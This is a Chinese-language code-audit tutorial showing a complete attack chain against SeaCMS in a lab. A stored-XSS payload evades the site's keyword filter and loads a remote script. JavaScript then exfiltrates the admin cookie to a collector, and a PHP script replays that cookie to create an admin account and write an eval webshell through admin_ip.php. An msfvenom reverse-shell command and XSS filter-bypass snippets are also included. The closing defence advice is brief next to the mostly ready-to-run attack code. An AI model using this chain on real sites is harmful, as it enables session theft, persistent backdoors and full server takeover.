seacms代码审计:从存储型XSS到getshell
字数 1601 2025-08-26 22:11:34
SeaCMS代码审计:从存储型XSS到Getshell教学文档
1. 漏洞概述
本教学文档详细分析SeaCMS(海洋CMS)中存在的存储型XSS漏洞及其利用链,最终实现Getshell的过程。SeaCMS是一款简单的PHP内容管理系统,主要用于视频网站,采用PHP+MYSQL架构,未使用框架。
2. 环境准备
2.1 测试环境
- 靶机: WindowsXP 192.168.113.128
- 攻击机: Kali 192.168.113.157
- CMS版本: SeaCMS
- 后台路径: /zhwx5t/
- 后台账号: admin/admin(系统管理员)
3. 漏洞分析
3.1 存储型XSS漏洞位置
漏洞发生在member.php文件的用户资料更新功能处:
if($action=='chgpwdsubmit'){
if(trim($newpwd)<>trim($newpwd2)) {
ShowMsg('两次输入密码不一致','-1');
exit();
}
$email = str_ireplace('base64', "", $email);
$email = str_ireplace('vbscript:', "", $email);
$email = str_ireplace('javascript:', "", $email);
$email = str_ireplace('data:', "", $email);
if(!empty($newpwd)||!empty($email)||!empty($nickname)) {
if(empty($newpwd)){$pwd = $oldpwd;}
else{$pwd = substr(md5($newpwd),5,20);};
$dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',email = '$email',nickname = '$nickname' where id= '$uid'");
ShowMsg('资料修改成功','-1');
exit();
}
}
3.2 WAF绕过分析
系统使用了360安全检测模块(webscan.php),其过滤规则存在缺陷:
// post拦截规则
$postfilter = "<.*=(&#\\d+data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\\s*sleep\\s*\\b(group_)?concat[\\s\\bcase[\\s\\/\\*]*?when[\\s\\load_file\\s*\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*\\d]\\d]\\a-zA-Z]\\a-zA-Z]\\s+?[\\w]+?\\s+?\\bin\\b\\s*?\\(|\\blike\\b\\s+\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\\s*\\s*|@{1,2}.+?\\s*|\\s+\\s*)|UPDATE\\s*\\s*|@{1,2}.+?\\s*|\\s+\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)\\s+?.+?\\s+FROM(\\s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
关键发现:
- 正则表达式没有单独过滤尖括号(
<,>) - 对XSS的过滤主要针对事件处理程序和
script标签 - 可以通过字符串替换绕过部分过滤
4. 漏洞利用
4.1 构造XSS Payload
利用str_ireplace函数的特性,构造以下Payload:
POST /member.php?action=chgpwdsubmit
oldpwd=test&newpwd=test&newpwd2=test&email=test%40test.com<scbase64ript src=https://url.cn/585l00F></scrbase64ipt>&nickname=&gaimi=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9
Payload说明:
- 使用
scbase64ript和scrbase64ipt绕过base64关键词过滤 - 最终会被替换为
<script src=https://url.cn/585l00F></script> src指向攻击者控制的JavaScript文件
4.2 利用XSS获取管理员Cookie
创建test.js文件:
var img = new Image();
img.src= "http://127.0.0.1/test.php?x=" + document.cookie + "&p=" + location.pathname;
创建test.php文件处理接收到的Cookie:
<?php
function Requests($url, $data, $cookie = '', $type = 1){
$ch = curl_init();
$params[CURLOPT_URL] = $url;
$params[CURLOPT_HEADER] = FALSE;
$params[CURLOPT_SSL_VERIFYPEER] = false;
$params[CURLOPT_SSL_VERIFYHOST] = false;
$params[CURLOPT_RETURNTRANSFER] = true;
if ($type === 1) {
$params[CURLOPT_POST] = true;
$params[CURLOPT_POSTFIELDS] = $data;
}
$params[CURLOPT_COOKIE] = $cookie;
curl_setopt_array($ch, $params);
$output = curl_exec($ch);
file_put_contents('log.txt', $output, FILE_APPEND);
curl_close($ch);
}
$C = $_GET['x'];
$P = $_GET['p'];
$P = substr($P, 0, strlen($P)-21);
file_put_contents('c.txt', $C);
file_put_contents('p.txt', $P);
$url_1 = 'http://192.168.113.128'.$P.'admin_manager.php?action=add';
$url_2 = 'http://192.168.113.128'.$P.'admin_ip.php?action=set';
$data_1 = 'username=test&pwd=test&pwd2=test&groupid=1';
$data_2 = 'v=0&ip=+";@eval($_POST[qwer]);"';
Requests($url_1, $data_1, $C);
Requests($url_2, $data_2, $C);
?>
4.3 利用后台漏洞写入Webshell
分析admin_ip.php文件中的漏洞:
if($action=="set"){
$v= $_POST['v'];
$ip = $_POST['ip'];
$open=fopen("../data/admin/ip.php","w" );
$str='<?php ';
$str.='$v = "';
$str.="$v";
$str.='"; ';
$str.='$ip = "';
$str.="$ip";
$str.='"; ';
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
}
漏洞利用:
- 直接写入PHP代码,无任何过滤
- 构造POST数据:
v=0&ip=+";@eval($_POST[qwer]);" - 最终写入文件内容为:
<?php $v = "0"; $ip = "";@eval($_POST[qwer]);"";
4.4 Getshell
- 使用蚁剑等工具连接写入的Webshell
- 生成反弹shell的exe文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.169 LPORT=5555 -f exe > exp.exe - 上传并执行exp.exe获取meterpreter会话
5. 其他漏洞发现
5.1 注册处存储型XSS
漏洞位置:用户注册时的用户名字段
过滤函数分析:
$username = RemoveXSS(stripslashes($username));
$username = addslashes(cn_substr($username,200));
RemoveXSS函数特点:
- 在关键字第二个字符后添加
<x>防止XSS - 仅过滤了
script、javascript等有限关键字 - 大部分HTML标签仍可利用
限制条件:
- 数据库字段长度限制为20字符
- 难以构造有效的XSS Payload
5.2 可能的绕过思路
-
拆分跨站法:
<script>z='document.write'</script> <script>z=Z+'write(" '<script> <script>z=z+'<script>'</script> <script>z=z+' src=ht'</script> <script>z=z+'tp://ww'</script> <script>z=z+'w.shell'</script> <script>z=z+'.net/1.'</script> <script>z=z+'js></sc'</script> <script>z=z+'ript'</script> <script>eval(z)</script> -
利用未过滤的事件处理程序:
onResume,onReverse,onRowDelete,onRowInsertedonSeek,onSynchRestored,onTimeErroronTrackChange,onURLFlip,onRepeat等
6. 防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用HTMLPurifier等专业库处理HTML输入
- 实现CSRF防护机制
- 限制管理员后台的访问IP
- 对文件写入操作进行严格的内容检查
- 使用Content Security Policy (CSP)限制脚本执行
- 对Cookie设置HttpOnly和Secure标志
7. 总结
本案例展示了如何从一个存储型XSS漏洞出发,通过获取管理员Cookie,利用后台文件写入漏洞最终实现Getshell的完整攻击链。前端漏洞虽然看似危害较小,但结合其他漏洞可能造成严重后果。安全开发应遵循"纵深防御"原则,在每一层都实施适当的安全措施。